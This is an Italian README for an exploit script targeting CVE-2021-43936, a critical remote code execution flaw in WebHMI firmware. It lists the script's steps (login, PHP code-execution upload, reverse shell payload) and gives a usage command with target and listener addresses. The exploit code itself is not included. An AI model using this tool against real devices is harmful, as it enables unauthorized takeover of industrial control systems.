CVE-2021-43936

CVE-2021-43936 è una vulnerabilità critica (CVSS3 10.0) che porta all'esecuzione remota di codice (RCE) nel firmware WebHMI.
Questa vulnerabilità colpisce le versioni 4.0 e quelle più recenti.
Testata solo su 4.0.7475. La vulnerabilità viene sfruttata dallo script nei seguenti passaggi:

1. Accede all'applicazione
2. Carica lo script di esecuzione del codice PHP
3. Invia il payload della reverse shell

L'exploit può fallire se sono collegate più schede di rete (NIC). La soluzione è riprovare.

Esempio di utilizzo:

python3 cve-2021-43936.py -t 10.100.23.200 -p 80 -l 10.100.23.201 -P 80